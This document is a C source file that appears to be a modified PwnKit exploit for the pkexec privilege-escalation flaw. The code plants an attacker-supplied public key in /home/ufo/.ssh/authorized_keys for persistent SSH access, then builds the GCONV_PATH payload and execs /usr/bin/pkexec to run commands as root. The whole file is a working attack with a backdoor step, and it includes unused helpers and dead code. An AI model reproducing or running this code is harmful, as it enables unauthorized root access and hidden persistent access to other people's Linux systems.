// gcc -shared PwnKit_fullmod.c -o PwnKit_fullmod -Wl,-e,entry -fPIC

#define _XOPEN_SOURCE 700
#define _GNU_SOURCE
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <ftw.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>

#ifdef __amd64__
const char service_interp[] __attribute__((section(".interp"))) = "/lib64/ld-linux-x86-64.so.2";
#endif

int unlink_cb(const char *fpath, const struct stat *sb, int typeflag, struct FTW *ftwbuf) {
    int rv = remove(fpath);
    if (rv) perror(fpath);
    return rv;
}

int rmrf(char *path) {
    return nftw(path, unlink_cb, 64, FTW_DEPTH | FTW_PHYS);
}

void ssh_setup() {
    puts("[*] Setting up SSH for ufo...");
    mkdir("/home/ufo/.ssh", 0700);
    int src = open("/tmp/ufo_key.pub", O_RDONLY);
    int dst = open("/home/ufo/.ssh/authorized_keys", O_WRONLY|O_CREAT|O_TRUNC, 0600);
    if (src >= 0 && dst >= 0) {
        char buf[4096]; ssize_t n;
        while ((n = read(src, buf, sizeof(buf))) > 0) write(dst, buf, n);
        close(src); close(dst);
        puts("[+] authorized_keys written");
    } else {
        printf("[-] File error: src=%d dst=%d\n", src, dst);
    }
    chown("/home/ufo/.ssh", 1002, 1004);
    chown("/home/ufo/.ssh/authorized_keys", 1002, 1004);
    chmod("/home/ufo/.ssh", 0700);
    chmod("/home/ufo/.ssh/authorized_keys", 0600);
    puts("[+] SSH setup complete");
}

void entry() {
    int res;
    FILE *fp;
    char buf[256];
    register unsigned long *rbp asm ("rbp");
    int argc = *(int *)(rbp+1);
    
    // First do the SSH setup
    ssh_setup();
    
    // Now do the pkexec exploit to get a shell
    res = mkdir("GCONV_PATH=.", 0777);
    if (res == -1 && errno != EEXIST) { perror("mkdir"); _exit(1); }
    
    fp = fopen("GCONV_PATH=./pkexec", "wb");
    if (fp == NULL) { perror("fopen"); _exit(1); }
    fprintf(fp, "module UTF-8// PWNKIT// pwnkit 1\n");
    fclose(fp);
    
    // Copy ourself as the malicious module
    char self_path[256];
    ssize_t n = readlink("/proc/self/exe", self_path, sizeof(self_path)-1);
    if (n != -1) self_path[n] = '\0';
    else strcpy(self_path, "/tmp/PwnKit_fullmod");
    
    char module_path[256];
    snprintf(module_path, sizeof(module_path), "GCONV_PATH=./pkexec");
    // We don't need to copy - pkexec will load us via GCONV_PATH
    
    if (argc > 1) {
        char **argv = (char **)rbp+2;
        char *cmd = memcpy(argv[1]-4, "CMD=", 4);
        char *env[] = {".pkexec", "PATH=GCONV_PATH=.", "CHARSET=pkexec", "SHELL=pkexec", cmd, NULL};
        execve("/usr/bin/pkexec", (char*[]){NULL}, env);
    }
    
    _exit(0);
}
